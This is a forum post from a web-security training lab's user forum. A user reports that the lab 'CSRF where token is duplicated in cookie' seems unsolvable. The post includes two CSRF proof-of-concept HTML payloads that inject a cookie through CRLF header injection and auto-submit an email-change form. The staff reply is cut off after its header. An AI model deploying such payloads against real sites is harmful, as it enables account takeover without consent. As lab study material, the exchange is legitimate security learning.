Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Bug in the lab: CSRF where token is duplicated in cookie

Hamdi | Last updated: Oct 08, 2022 11:45PM UTC

Hi, I tried to solve the lab but it seems there is a bug. I tried both the Burp and the community solution but I wasn't able to solve it. When I click "View exploit" in the exploit server and then I inspect the request in the Proxy history I find that the csrf cookie is set with the original value and not the fake one I already injected in the exploit payload. I tried the below payloads: Payload 1: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0aa3001a030e99bac04f10a40056005a.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="ham&#64;di&#46;com" /> <input type="hidden" name="csrf" value="fake" /> <input type="submit" value="Submit request" /> </form> <img src="https://0aa3001a030e99bac04f10a40056005a.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit()"> </body> </html> ************* Payload 2: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0aa3001a030e99bac04f10a40056005a.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="ham&#64;di&#46;com" /> <input type="hidden" name="csrf" value="fake" /> <input type="submit" value="Submit request" /> </form> <img src="https://0aa3001a030e99bac04f10a40056005a.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit();" /> </body> </html>

Michelle, PortSwigger Agent | Last updated: Oct 10, 2022 08:50AM UTC